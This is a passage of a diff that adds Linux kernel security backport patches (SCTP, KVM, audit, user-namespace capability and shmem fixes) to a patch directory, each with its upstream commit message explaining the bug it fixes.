output queue. + +Now, while ASCONF_a's ASCONF_ACK sits in the corked outq, we +continue to process the same ASCONF_b chunk from the packet. As +we have cached the previous ASCONF_ACK, we find it, grab it and +do another SCTP_CMD_REPLY command on it. So, effectively, we rip +the chunk->list pointers and requeue the same ASCONF_ACK chunk +another time. Since we process ASCONF_b, it's correctly marked +with end_of_packet and we enforce an uncork, and thus flush, thus +crashing the kernel. + +Fix it by testing if the ASCONF_ACK is currently pending and if +that is the case, do not requeue it. When flushing the output +queue we may relink the chunk for preparing an outgoing packet, +but eventually unlink it when it's copied into the skb right +before transmission. + +Joint work with Vlad Yasevich. + +Fixes: 2e3216cd54b1 ("sctp: Follow security requirement of responding with 1 packet") +Signed-off-by: Daniel Borkmann +Signed-off-by: Vlad Yasevich +Signed-off-by: David S. Miller +Cc: Josh Boyer +Signed-off-by: Greg Kroah-Hartman +--- + include/net/sctp/sctp.h | 5 +++++ + net/sctp/associola.c | 2 ++ + 2 files changed, 7 insertions(+) + +diff --git a/include/net/sctp/sctp.h b/include/net/sctp/sctp.h +index cd89510eab2a4..845ab6decc457 100644 +--- a/include/net/sctp/sctp.h ++++ b/include/net/sctp/sctp.h +@@ -540,6 +540,11 @@ static inline void sctp_assoc_pending_pmtu(struct sock *sk, struct sctp_associat + asoc->pmtu_pending = 0; + } + ++static inline bool sctp_chunk_pending(const struct sctp_chunk *chunk) ++{ ++ return !list_empty(&chunk->list); ++} ++ + /* Walk through a list of TLV parameters. Don't trust the + * individual parameter lengths and instead depend on + * the chunk length to indicate when to stop. Make sure +diff --git a/net/sctp/associola.c b/net/sctp/associola.c +index 62e86d98bc36c..ca4a1a1b8e693 100644 +--- a/net/sctp/associola.c ++++ b/net/sctp/associola.c +@@ -1659,6 +1659,8 @@ struct sctp_chunk *sctp_assoc_lookup_asconf_ack( + * ack chunk whose serial number matches that of the request. + */ + list_for_each_entry(ack, &asoc->asconf_ack_list, transmitted_list) { ++ if (sctp_chunk_pending(ack)) ++ continue; + if (ack->subh.addip_hdr->serial == serial) { + sctp_chunk_hold(ack); + return ack; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0065-bf53932bce5c-net sctp fix remote memory pressure from excessive queueing.patch b/recipes-kernel/linux/linux-bass/autopatcher/0065-bf53932bce5c-net sctp fix remote memory pressure from excessive queueing.patch new file mode 100644 index 0000000..03da19e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0065-bf53932bce5c-net sctp fix remote memory pressure from excessive queueing.patch @@ -0,0 +1,156 @@ +From bf53932bce5c58cf006ca2e1f81bd1d66d14ba45 Mon Sep 17 00:00:00 2001 +From: Daniel Borkmann +Date: Thu, 9 Oct 2014 22:55:33 +0200 +Subject: net: sctp: fix remote memory pressure from excessive queueing + +commit 26b87c7881006311828bb0ab271a551a62dcceb4 upstream. + +This scenario is not limited to ASCONF, just taken as one +example triggering the issue. When receiving ASCONF probes +in the form of ... + + -------------- INIT[ASCONF; ASCONF_ACK] -------------> + <----------- INIT-ACK[ASCONF; ASCONF_ACK] ------------ + -------------------- COOKIE-ECHO --------------------> + <-------------------- COOKIE-ACK --------------------- + ---- ASCONF_a; [ASCONF_b; ...; ASCONF_n;] JUNK ------> + [...] + ---- ASCONF_m; [ASCONF_o; ...; ASCONF_z;] JUNK ------> + +... where ASCONF_a, ASCONF_b, ..., ASCONF_z are good-formed +ASCONFs and have increasing serial numbers, we process such +ASCONF chunk(s) marked with !end_of_packet and !singleton, +since we have not yet reached the SCTP packet end. SCTP does +only do verification on a chunk by chunk basis, as an SCTP +packet is nothing more than just a container of a stream of +chunks which it eats up one by one. + +We could run into the case that we receive a packet with a +malformed tail, above marked as trailing JUNK. All previous +chunks are here goodformed, so the stack will eat up all +previous chunks up to this point. In case JUNK does not fit +into a chunk header and there are no more other chunks in +the input queue, or in case JUNK contains a garbage chunk +header, but the encoded chunk length would exceed the skb +tail, or we came here from an entirely different scenario +and the chunk has pdiscard=1 mark (without having had a flush +point), it will happen, that we will excessively queue up +the association's output queue (a correct final chunk may +then turn it into a response flood when flushing the +queue ;)): I ran a simple script with incremental ASCONF +serial numbers and could see the server side consuming +excessive amount of RAM [before/after: up to 2GB and more]. + +The issue at heart is that the chunk train basically ends +with !end_of_packet and !singleton markers and since commit +2e3216cd54b1 ("sctp: Follow security requirement of responding +with 1 packet") therefore preventing an output queue flush +point in sctp_do_sm() -> sctp_cmd_interpreter() on the input +chunk (chunk = event_arg) even though local_cork is set, +but its precedence has changed since then. In the normal +case, the last chunk with end_of_packet=1 would trigger the +queue flush to accommodate possible outgoing bundling. + +In the input queue, sctp_inq_pop() seems to do the right thing +in terms of discarding invalid chunks. So, above JUNK will +not enter the state machine and instead be released and exit +the sctp_assoc_bh_rcv() chunk processing loop. It's simply +the flush point being missing at loop exit. Adding a try-flush +approach on the output queue might not work as the underlying +infrastructure might be long gone at this point due to the +side-effect interpreter run. + +One possibility, albeit a bit of a kludge, would be to defer +invalid chunk freeing into the state machine in order to +possibly trigger packet discards and thus indirectly a queue +flush on error. It would surely be better to discard chunks +as in the current, perhaps better controlled environment, but +going back and forth, it's simply architecturally not possible. +I tried various trailing JUNK attack cases and it seems to +look good now. + +Joint work with Vlad Yasevich. + +Fixes: 2e3216cd54b1 ("sctp: Follow security requirement of responding with 1 packet") +Signed-off-by: Daniel Borkmann +Signed-off-by: Vlad Yasevich +Signed-off-by: David S. Miller +Cc: Josh Boyer +Signed-off-by: Greg Kroah-Hartman +--- + net/sctp/inqueue.c | 33 +++++++-------------------------- + net/sctp/sm_statefuns.c | 3 +++ + 2 files changed, 10 insertions(+), 26 deletions(-) + +diff --git a/net/sctp/inqueue.c b/net/sctp/inqueue.c +index 3221d073448ce..49c58eadbfa2a 100644 +--- a/net/sctp/inqueue.c ++++ b/net/sctp/inqueue.c +@@ -147,18 +147,9 @@ struct sctp_chunk *sctp_inq_pop(struct sctp_inq *queue) + } else { + /* Nothing to do. Next chunk in the packet, please. */ + ch = (sctp_chunkhdr_t *) chunk->chunk_end; +- + /* Force chunk->skb->data to chunk->chunk_end. */ +- skb_pull(chunk->skb, +- chunk->chunk_end - chunk->skb->data); +- +- /* Verify that we have at least chunk headers +- * worth of buffer left. +- */ +- if (skb_headlen(chunk->skb) < sizeof(sctp_chunkhdr_t)) { +- sctp_chunk_free(chunk); +- chunk = queue->in_progress = NULL; +- } ++ skb_pull(chunk->skb, chunk->chunk_end - chunk->skb->data); ++ /* We are guaranteed to pull a SCTP header. */ + } + } + +@@ -194,24 +185,14 @@ struct sctp_chunk *sctp_inq_pop(struct sctp_inq *queue) + skb_pull(chunk->skb, sizeof(sctp_chunkhdr_t)); + chunk->subh.v = NULL; /* Subheader is no longer valid. */ + +- if (chunk->chunk_end < skb_tail_pointer(chunk->skb)) { ++ if (chunk->chunk_end + sizeof(sctp_chunkhdr_t) < ++ skb_tail_pointer(chunk->skb)) { + /* This is not a singleton */ + chunk->singleton = 0; + } else if (chunk->chunk_end > skb_tail_pointer(chunk->skb)) { +- /* RFC 2960, Section 6.10 Bundling +- * +- * Partial chunks MUST NOT be placed in an SCTP packet. +- * If the receiver detects a partial chunk, it MUST drop +- * the chunk. +- * +- * Since the end of the chunk is past the end of our buffer +- * (which contains the whole packet, we can freely discard +- * the whole packet. +- */ +- sctp_chunk_free(chunk); +- chunk = queue->in_progress = NULL; +- +- return NULL; ++ /* Discard inside state machine. */ ++ chunk->pdiscard = 1; ++ chunk->chunk_end = skb_tail_pointer(chunk->skb); + } else { + /* We are at the end of the packet, so mark the chunk + * in case we need to send a SACK. +diff --git a/net/sctp/sm_statefuns.c b/net/sctp/sm_statefuns.c +index edc204b05c825..5e32dd5802705 100644 +--- a/net/sctp/sm_statefuns.c ++++ b/net/sctp/sm_statefuns.c +@@ -177,6 +177,9 @@ sctp_chunk_length_valid(struct sctp_chunk *chunk, + { + __u16 chunk_length = ntohs(chunk->chunk_hdr->length); + ++ /* Previously already marked? */ ++ if (unlikely(chunk->pdiscard)) ++ return 0; + if (unlikely(chunk_length < required_length)) + return 0; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0066-747a43ad696d-x86kvmvmx Preserve CR4 across VM entry.patch b/recipes-kernel/linux/linux-bass/autopatcher/0066-747a43ad696d-x86kvmvmx Preserve CR4 across VM entry.patch new file mode 100644 index 0000000..3e80c4e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0066-747a43ad696d-x86kvmvmx Preserve CR4 across VM entry.patch @@ -0,0 +1,86 @@ +From 747a43ad696d6112d99d68c8462e4ddab0b7bab2 Mon Sep 17 00:00:00 2001 +From: Andy Lutomirski +Date: Wed, 8 Oct 2014 09:02:13 -0700 +Subject: x86,kvm,vmx: Preserve CR4 across VM entry + +commit d974baa398f34393db76be45f7d4d04fbdbb4a0a upstream. + +CR4 isn't constant; at least the TSD and PCE bits can vary. + +TBH, treating CR0 and CR3 as constant scares me a bit, too, but it looks +like it's correct. + +This adds a branch and a read from cr4 to each vm entry. Because it is +extremely likely that consecutive entries into the same vcpu will have +the same host cr4 value, this fixes up the vmcs instead of restoring cr4 +after the fact. A subsequent patch will add a kernel-wide cr4 shadow, +reducing the overhead in the common case to just two memory reads and a +branch. + +Signed-off-by: Andy Lutomirski +Acked-by: Paolo Bonzini +Cc: Petr Matousek +Cc: Gleb Natapov +Signed-off-by: Linus Torvalds +[wangkai: Backport to 3.10: adjust context] +Signed-off-by: Wang Kai +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/kvm/vmx.c | 16 ++++++++++++++-- + 1 file changed, 14 insertions(+), 2 deletions(-) + +diff --git a/arch/x86/kvm/vmx.c b/arch/x86/kvm/vmx.c +index b8a0ae75619f9..04cc2fa7744fb 100644 +--- a/arch/x86/kvm/vmx.c ++++ b/arch/x86/kvm/vmx.c +@@ -438,6 +438,7 @@ struct vcpu_vmx { + #endif + int gs_ldt_reload_needed; + int fs_reload_needed; ++ unsigned long vmcs_host_cr4; /* May not match real cr4 */ + } host_state; + struct { + int vm86_active; +@@ -4076,11 +4077,16 @@ static void vmx_set_constant_host_state(struct vcpu_vmx *vmx) + u32 low32, high32; + unsigned long tmpl; + struct desc_ptr dt; ++ unsigned long cr4; + + vmcs_writel(HOST_CR0, read_cr0() & ~X86_CR0_TS); /* 22.2.3 */ +- vmcs_writel(HOST_CR4, read_cr4()); /* 22.2.3, 22.2.5 */ + vmcs_writel(HOST_CR3, read_cr3()); /* 22.2.3 FIXME: shadow tables */ + ++ /* Save the most likely value for this task's CR4 in the VMCS. */ ++ cr4 = read_cr4(); ++ vmcs_writel(HOST_CR4, cr4); /* 22.2.3, 22.2.5 */ ++ vmx->host_state.vmcs_host_cr4 = cr4; ++ + vmcs_write16(HOST_CS_SELECTOR, __KERNEL_CS); /* 22.2.4 */ + #ifdef CONFIG_X86_64 + /* +@@ -6971,7 +6977,7 @@ static void atomic_switch_perf_msrs(struct vcpu_vmx *vmx) + static void __noclone vmx_vcpu_run(struct kvm_vcpu *vcpu) + { + struct vcpu_vmx *vmx = to_vmx(vcpu); +- unsigned long debugctlmsr; ++ unsigned long debugctlmsr, cr4; + + /* Record the guest's net vcpu time for enforced NMI injections. */ + if (unlikely(!cpu_has_virtual_nmis() && vmx->soft_vnmi_blocked)) +@@ -6992,6 +6998,12 @@ static void __noclone vmx_vcpu_run(struct kvm_vcpu *vcpu) + if (test_bit(VCPU_REGS_RIP, (unsigned long *)&vcpu->arch.regs_dirty)) + vmcs_writel(GUEST_RIP, vcpu->arch.regs[VCPU_REGS_RIP]); + ++ cr4 = read_cr4(); ++ if (unlikely(cr4 != vmx->host_state.vmcs_host_cr4)) { ++ vmcs_writel(HOST_CR4, cr4); ++ vmx->host_state.vmcs_host_cr4 = cr4; ++ } ++ + /* When single-stepping over STI and MOV SS, we must clear the + * corresponding interruptibility bits in the guest state. Otherwise + * vmentry fails as it then expects bit 14 (BS) in pending debug +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0067-553a87251dca-auditsc auditkrule mask accesses need bounds checking.patch b/recipes-kernel/linux/linux-bass/autopatcher/0067-553a87251dca-auditsc auditkrule mask accesses need bounds checking.patch new file mode 100644 index 0000000..4e302ee --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0067-553a87251dca-auditsc auditkrule mask accesses need bounds checking.patch @@ -0,0 +1,87 @@ +From 553a87251dcaedc261ed34b9acebb77d2b56aa79 Mon Sep 17 00:00:00 2001 +From: Andy Lutomirski +Date: Wed, 28 May 2014 23:09:58 -0400 +Subject: auditsc: audit_krule mask accesses need bounds checking + +commit a3c54931199565930d6d84f4c3456f6440aefd41 upstream. + +Fixes an easy DoS and possible information disclosure. + +This does nothing about the broken state of x32 auditing. + +eparis: If the admin has enabled auditd and has specifically loaded +audit rules. This bug has been around since before git. Wow... + +Signed-off-by: Andy Lutomirski +Signed-off-by: Eric Paris +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + kernel/auditsc.c | 27 ++++++++++++++++++--------- + 1 file changed, 18 insertions(+), 9 deletions(-) + +diff --git a/kernel/auditsc.c b/kernel/auditsc.c +index 9845cb32b60a7..03a3af8538bdd 100644 +--- a/kernel/auditsc.c ++++ b/kernel/auditsc.c +@@ -733,6 +733,22 @@ static enum audit_state audit_filter_task(struct task_struct *tsk, char **key) + return AUDIT_BUILD_CONTEXT; + } + ++static int audit_in_mask(const struct audit_krule *rule, unsigned long val) ++{ ++ int word, bit; ++ ++ if (val > 0xffffffff) ++ return false; ++ ++ word = AUDIT_WORD(val); ++ if (word >= AUDIT_BITMASK_SIZE) ++ return false; ++ ++ bit = AUDIT_BIT(val); ++ ++ return rule->mask[word] & bit; ++} ++ + /* At syscall entry and exit time, this filter is called if the + * audit_state is not low enough that auditing cannot take place, but is + * also not high enough that we already know we have to write an audit +@@ -750,11 +766,8 @@ static enum audit_state audit_filter_syscall(struct task_struct *tsk, + + rcu_read_lock(); + if (!list_empty(list)) { +- int word = AUDIT_WORD(ctx->major); +- int bit = AUDIT_BIT(ctx->major); +- + list_for_each_entry_rcu(e, list, list) { +- if ((e->rule.mask[word] & bit) == bit && ++ if (audit_in_mask(&e->rule, ctx->major) && + audit_filter_rules(tsk, &e->rule, ctx, NULL, + &state, false)) { + rcu_read_unlock(); +@@ -774,20 +787,16 @@ static enum audit_state audit_filter_syscall(struct task_struct *tsk, + static int audit_filter_inode_name(struct task_struct *tsk, + struct audit_names *n, + struct audit_context *ctx) { +- int word, bit; + int h = audit_hash_ino((u32)n->ino); + struct list_head *list = &audit_inode_hash[h]; + struct audit_entry *e; + enum audit_state state; + +- word = AUDIT_WORD(ctx->major); +- bit = AUDIT_BIT(ctx->major); +- + if (list_empty(list)) + return 0; + + list_for_each_entry_rcu(e, list, list) { +- if ((e->rule.mask[word] & bit) == bit && ++ if (audit_in_mask(&e->rule, ctx->major) && + audit_filter_rules(tsk, &e->rule, ctx, n, &state, false)) { + ctx->current_state = state; + return 1; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0068-4f80c6c1825a-fsuserns Change inodecapable to capablewrtinodeuidgid.patch b/recipes-kernel/linux/linux-bass/autopatcher/0068-4f80c6c1825a-fsuserns Change inodecapable to capablewrtinodeuidgid.patch new file mode 100644 index 0000000..2ebfad5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0068-4f80c6c1825a-fsuserns Change inodecapable to capablewrtinodeuidgid.patch @@ -0,0 +1,192 @@ +From 4f80c6c1825a91cecf3b3bd19c824e768d98fe48 Mon Sep 17 00:00:00 2001 +From: Andy Lutomirski +Date: Tue, 10 Jun 2014 12:45:42 -0700 +Subject: fs,userns: Change inode_capable to capable_wrt_inode_uidgid + +commit 23adbe12ef7d3d4195e80800ab36b37bee28cd03 upstream. + +The kernel has no concept of capabilities with respect to inodes; inodes +exist independently of namespaces. For example, inode_capable(inode, +CAP_LINUX_IMMUTABLE) would be nonsense. + +This patch changes inode_capable to check for uid and gid mappings and +renames it to capable_wrt_inode_uidgid, which should make it more +obvious what it does. + +Fixes CVE-2014-4014. + +Cc: Theodore Ts'o +Cc: Serge Hallyn +Cc: "Eric W. Biederman" +Cc: Dave Chinner +Signed-off-by: Andy Lutomirski +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + fs/attr.c | 8 ++++---- + fs/inode.c | 10 +++++++--- + fs/namei.c | 11 ++++++----- + include/linux/capability.h | 2 +- + kernel/capability.c | 18 +++++++----------- + 5 files changed, 25 insertions(+), 24 deletions(-) + +diff --git a/fs/attr.c b/fs/attr.c +index 8dd5825ec7088..66fa6251c398d 100644 +--- a/fs/attr.c ++++ b/fs/attr.c +@@ -50,14 +50,14 @@ int inode_change_ok(const struct inode *inode, struct iattr *attr) + if ((ia_valid & ATTR_UID) && + (!uid_eq(current_fsuid(), inode->i_uid) || + !uid_eq(attr->ia_uid, inode->i_uid)) && +- !inode_capable(inode, CAP_CHOWN)) ++ !capable_wrt_inode_uidgid(inode, CAP_CHOWN)) + return -EPERM; + + /* Make sure caller can chgrp. */ + if ((ia_valid & ATTR_GID) && + (!uid_eq(current_fsuid(), inode->i_uid) || + (!in_group_p(attr->ia_gid) && !gid_eq(attr->ia_gid, inode->i_gid))) && +- !inode_capable(inode, CAP_CHOWN)) ++ !capable_wrt_inode_uidgid(inode, CAP_CHOWN)) + return -EPERM; + + /* Make sure a caller can chmod. */ +@@ -67,7 +67,7 @@ int inode_change_ok(const struct inode *inode, struct iattr *attr) + /* Also check the setgid bit! */ + if (!in_group_p((ia_valid & ATTR_GID) ? attr->ia_gid : + inode->i_gid) && +- !inode_capable(inode, CAP_FSETID)) ++ !capable_wrt_inode_uidgid(inode, CAP_FSETID)) + attr->ia_mode &= ~S_ISGID; + } + +@@ -160,7 +160,7 @@ void setattr_copy(struct inode *inode, const struct iattr *attr) + umode_t mode = attr->ia_mode; + + if (!in_group_p(inode->i_gid) && +- !inode_capable(inode, CAP_FSETID)) ++ !capable_wrt_inode_uidgid(inode, CAP_FSETID)) + mode &= ~S_ISGID; + inode->i_mode = mode; + } +diff --git a/fs/inode.c b/fs/inode.c +index 00d5fc3b86e12..1b300a06b8be3 100644 +--- a/fs/inode.c ++++ b/fs/inode.c +@@ -1837,14 +1837,18 @@ EXPORT_SYMBOL(inode_init_owner); + * inode_owner_or_capable - check current task permissions to inode + * @inode: inode being checked + * +- * Return true if current either has CAP_FOWNER to the inode, or +- * owns the file. ++ * Return true if current either has CAP_FOWNER in a namespace with the ++ * inode owner uid mapped, or owns the file. + */ + bool inode_owner_or_capable(const struct inode *inode) + { ++ struct user_namespace *ns; ++ + if (uid_eq(current_fsuid(), inode->i_uid)) + return true; +- if (inode_capable(inode, CAP_FOWNER)) ++ ++ ns = current_user_ns(); ++ if (ns_capable(ns, CAP_FOWNER) && kuid_has_mapping(ns, inode->i_uid)) + return true; + return false; + } +diff --git a/fs/namei.c b/fs/namei.c +index 1211ee5a1cb34..6ac16a37ded29 100644 +--- a/fs/namei.c ++++ b/fs/namei.c +@@ -321,10 +321,11 @@ int generic_permission(struct inode *inode, int mask) + + if (S_ISDIR(inode->i_mode)) { + /* DACs are overridable for directories */ +- if (inode_capable(inode, CAP_DAC_OVERRIDE)) ++ if (capable_wrt_inode_uidgid(inode, CAP_DAC_OVERRIDE)) + return 0; + if (!(mask & MAY_WRITE)) +- if (inode_capable(inode, CAP_DAC_READ_SEARCH)) ++ if (capable_wrt_inode_uidgid(inode, ++ CAP_DAC_READ_SEARCH)) + return 0; + return -EACCES; + } +@@ -334,7 +335,7 @@ int generic_permission(struct inode *inode, int mask) + * at least one exec bit set. + */ + if (!(mask & MAY_EXEC) || (inode->i_mode & S_IXUGO)) +- if (inode_capable(inode, CAP_DAC_OVERRIDE)) ++ if (capable_wrt_inode_uidgid(inode, CAP_DAC_OVERRIDE)) + return 0; + + /* +@@ -342,7 +343,7 @@ int generic_permission(struct inode *inode, int mask) + */ + mask &= MAY_READ | MAY_WRITE | MAY_EXEC; + if (mask == MAY_READ) +- if (inode_capable(inode, CAP_DAC_READ_SEARCH)) ++ if (capable_wrt_inode_uidgid(inode, CAP_DAC_READ_SEARCH)) + return 0; + + return -EACCES; +@@ -2199,7 +2200,7 @@ static inline int check_sticky(struct inode *dir, struct inode *inode) + return 0; + if (uid_eq(dir->i_uid, fsuid)) + return 0; +- return !inode_capable(inode, CAP_FOWNER); ++ return !capable_wrt_inode_uidgid(inode, CAP_FOWNER); + } + + /* +diff --git a/include/linux/capability.h b/include/linux/capability.h +index d9a4f7f40f329..15f90929fb51b 100644 +--- a/include/linux/capability.h ++++ b/include/linux/capability.h +@@ -211,7 +211,7 @@ extern bool has_ns_capability_noaudit(struct task_struct *t, + extern bool capable(int cap); + extern bool ns_capable(struct user_namespace *ns, int cap); + extern bool nsown_capable(int cap); +-extern bool inode_capable(const struct inode *inode, int cap); ++extern bool capable_wrt_inode_uidgid(const struct inode *inode, int cap); + extern bool file_ns_capable(const struct file *file, struct user_namespace *ns, int cap); + + /* audit system wants to get cap info from files as well */ +diff --git a/kernel/capability.c b/kernel/capability.c +index f6c2ce5701e1c..d52eecc0942b0 100644 +--- a/kernel/capability.c ++++ b/kernel/capability.c +@@ -445,22 +445,18 @@ bool nsown_capable(int cap) + } + + /** +- * inode_capable - Check superior capability over inode ++ * capable_wrt_inode_uidgid - Check nsown_capable and uid and gid mapped + * @inode: The inode in question + * @cap: The capability in question + * +- * Return true if the current task has the given superior capability +- * targeted at it's own user namespace and that the given inode is owned +- * by the current user namespace or a child namespace. +- * +- * Currently we check to see if an inode is owned by the current +- * user namespace by seeing if the inode's owner maps into the +- * current user namespace. +- * ++ * Return true if the current task has the given capability targeted at ++ * its own user namespace and that the given inode's uid and gid are ++ * mapped into the current user namespace. + */ +-bool inode_capable(const struct inode *inode, int cap) ++bool capable_wrt_inode_uidgid(const struct inode *inode, int cap) + { + struct user_namespace *ns = current_user_ns(); + +- return ns_capable(ns, cap) && kuid_has_mapping(ns, inode->i_uid); ++ return ns_capable(ns, cap) && kuid_has_mapping(ns, inode->i_uid) && ++ kgid_has_mapping(ns, inode->i_gid); + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0069-1ccc3ffad124-shmem fix faulting into a hole while its punched.patch b/recipes-kernel/linux/linux-bass/autopatcher/0069-1ccc3ffad124-shmem fix faulting into a hole while its punched.patch new file mode 100644 index 0000000..45ec68c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0069-1ccc3ffad124-shmem fix faulting into a hole while its punched.patch @@ -0,0 +1,137 @@ +From 1ccc3ffad12489d90994243be03017ff6e78ef51 Mon Sep 17 00:00:00 2001 +From: Hugh Dickins +Date: Mon, 23 Jun 2014 13:22:06 -0700 +Subject: shmem: fix faulting into a hole while it's punched + +commit f00cdc6df7d7cfcabb5b740911e6788cb0802bdb upstream. + +Trinity finds that mmap access to a hole while it's punched from shmem +can prevent the madvise(MADV_REMOVE) or fallocate(FALLOC_FL_PUNCH_HOLE) +from completing, until the reader chooses to stop; with the puncher's +hold on i_mutex locking out all other writers until it can complete. + +It appears that the tmpfs fault path is too light in comparison with its +hole-punching path, lacking an i_data_sem to obstruct it; but we don't +want to slow down the common case. + +Extend shmem_fallocate()'s existing range notification mechanism, so +shmem_fault() can refrain from faulting pages into the hole while it's +punched, waiting instead on i_mutex (when safe to sleep; or repeatedly +faulting when not). + +[akpm@linux-foundation.org: coding-style fixes] +Signed-off-by: Hugh Dickins +Reported-by: Sasha Levin +Tested-by: Sasha Levin +Cc: Dave Jones +Signed-off-by: Andrew Morton +Signed-off-by: Linus Torvalds +Signed-off-by: Greg Kroah-Hartman +--- + mm/shmem.c | 56 ++++++++++++++++++++++++++++++++++++++++++++++++++++---- + 1 file changed, 52 insertions(+), 4 deletions(-) + +diff --git a/mm/shmem.c b/mm/shmem.c +index 509b393eceeb9..61cf45c343e64 100644 +--- a/mm/shmem.c ++++ b/mm/shmem.c +@@ -80,11 +80,12 @@ static struct vfsmount *shm_mnt; + #define SHORT_SYMLINK_LEN 128 + + /* +- * shmem_fallocate and shmem_writepage communicate via inode->i_private +- * (with i_mutex making sure that it has only one user at a time): +- * we would prefer not to enlarge the shmem inode just for that. ++ * shmem_fallocate communicates with shmem_fault or shmem_writepage via ++ * inode->i_private (with i_mutex making sure that it has only one user at ++ * a time): we would prefer not to enlarge the shmem inode just for that. + */ + struct shmem_falloc { ++ int mode; /* FALLOC_FL mode currently operating */ + pgoff_t start; /* start of range currently being fallocated */ + pgoff_t next; /* the next page offset to be fallocated */ + pgoff_t nr_falloced; /* how many new pages have been fallocated */ +@@ -826,6 +827,7 @@ static int shmem_writepage(struct page *page, struct writeback_control *wbc) + spin_lock(&inode->i_lock); + shmem_falloc = inode->i_private; + if (shmem_falloc && ++ !shmem_falloc->mode && + index >= shmem_falloc->start && + index < shmem_falloc->next) + shmem_falloc->nr_unswapped++; +@@ -1300,6 +1302,44 @@ static int shmem_fault(struct vm_area_struct *vma, struct vm_fault *vmf) + int error; + int ret = VM_FAULT_LOCKED; + ++ /* ++ * Trinity finds that probing a hole which tmpfs is punching can ++ * prevent the hole-punch from ever completing: which in turn ++ * locks writers out with its hold on i_mutex. So refrain from ++ * faulting pages into the hole while it's being punched, and ++ * wait on i_mutex to be released if vmf->flags permits. ++ */ ++ if (unlikely(inode->i_private)) { ++ struct shmem_falloc *shmem_falloc; ++ ++ spin_lock(&inode->i_lock); ++ shmem_falloc = inode->i_private; ++ if (!shmem_falloc || ++ shmem_falloc->mode != FALLOC_FL_PUNCH_HOLE || ++ vmf->pgoff < shmem_falloc->start || ++ vmf->pgoff >= shmem_falloc->next) ++ shmem_falloc = NULL; ++ spin_unlock(&inode->i_lock); ++ /* ++ * i_lock has protected us from taking shmem_falloc seriously ++ * once return from shmem_fallocate() went back up that stack. ++ * i_lock does not serialize with i_mutex at all, but it does ++ * not matter if sometimes we wait unnecessarily, or sometimes ++ * miss out on waiting: we just need to make those cases rare. ++ */ ++ if (shmem_falloc) { ++ if ((vmf->flags & FAULT_FLAG_ALLOW_RETRY) && ++ !(vmf->flags & FAULT_FLAG_RETRY_NOWAIT)) { ++ up_read(&vma->vm_mm->mmap_sem); ++ mutex_lock(&inode->i_mutex); ++ mutex_unlock(&inode->i_mutex); ++ return VM_FAULT_RETRY; ++ } ++ /* cond_resched? Leave that to GUP or return to user */ ++ return VM_FAULT_NOPAGE; ++ } ++ } ++ + error = shmem_getpage(inode, vmf->pgoff, &vmf->page, SGP_CACHE, &ret); + if (error) + return ((error == -ENOMEM) ? VM_FAULT_OOM : VM_FAULT_SIGBUS); +@@ -1817,18 +1857,26 @@ static long shmem_fallocate(struct file *file, int mode, loff_t offset, + + mutex_lock(&inode->i_mutex); + ++ shmem_falloc.mode = mode & ~FALLOC_FL_KEEP_SIZE; ++ + if (mode & FALLOC_FL_PUNCH_HOLE) { + struct address_space *mapping = file->f_mapping; + loff_t unmap_start = round_up(offset, PAGE_SIZE); + loff_t unmap_end = round_down(offset + len, PAGE_SIZE) - 1; + ++ shmem_falloc.start = unmap_start >> PAGE_SHIFT; ++ shmem_falloc.next = (unmap_end + 1) >> PAGE_SHIFT; ++ spin_lock(&inode->i_lock); ++ inode->i_private = &shmem_falloc; ++ spin_unlock(&inode->i_lock); ++ + if ((u64)unmap_end > (u64)unmap_start) + unmap_mapping_range(mapping, unmap_start, + 1 + unmap_end - unmap_start, 0); + shmem_truncate_range(inode, offset, offset + len - 1); + /* No need to unmap again: hole-punching leaves COWed pages */ + error = 0; +- goto out; ++ goto undone; + } + + /* We need to check rlimit even when FALLOC_FL_KEEP_SIZE */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0070-887675c981bc-shmem fix faulting into a hole not taking imutex.patch b/recipes-kernel/linux/linux-bass/autopatcher/0070-887675c981bc-shmem fix faulting into a hole not taking imutex.patch new file mode 100644 index 0000000..ef56b09 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0070-887675c981bc-shmem fix faulting into a hole not taking imutex.patch @@ -0,0 +1,196 @@ +From 887675c981bcefc567bd1f18352238d7ce1cf47a Mon Sep 17 00:00:00 2001 +From: Hugh Dickins +Date: Wed, 23 Jul 2014 14:00:10 -0700 +Subject: shmem: fix faulting into a hole, not taking i_mutex + +commit 8e205f779d1443a94b5ae81aa359cb535dd3021e upstream. + +Commit f00cdc6df7d7 ("shmem: fix faulting into a hole while it's +punched") was buggy: Sasha sent a lockdep report to remind us that +grabbing i_mutex in the fault path is a no-no (write syscall may already +hold i_mutex while faulting user buffer). + +We tried a completely different approach (see following patch) but that +proved inadequate: good enough for a rational workload, but not good +enough against trinity - which forks off so many mappings of the object +that contention on i_mmap_mutex while hole-puncher holds i_mutex builds +into serious starvation when concurrent faults force the puncher to fall +back to single-page unmap_mapping_range() searches of the i_mmap tree. + +So return to the original umbrella approach, but keep away from i_mutex +this time. We really don't want to bloat every shmem inode with a new +mutex or completion, just to protect this unlikely case from trinity. +So extend the original with wait_queue_head on stack at the hole-punch +end, and wait_queue item on the stack at the fault end. + +This involves further use of i_lock to guard against the races: lockdep +has been happy so far, and I see fs/inode.c:unlock_new_inode() holds +i_lock around wake_up_bit(), which is comparable to what we do here. +i_lock is more convenient, but we could switch to shmem's info->lock. + +This issue has been tagged with CVE-2014-4171, which will require commit +f00cdc6df7d7 and this and the following patch to be backported: we +suggest to 3.1+, though in fact the trinity forkbomb effect might go +back as far as 2.6.16, when 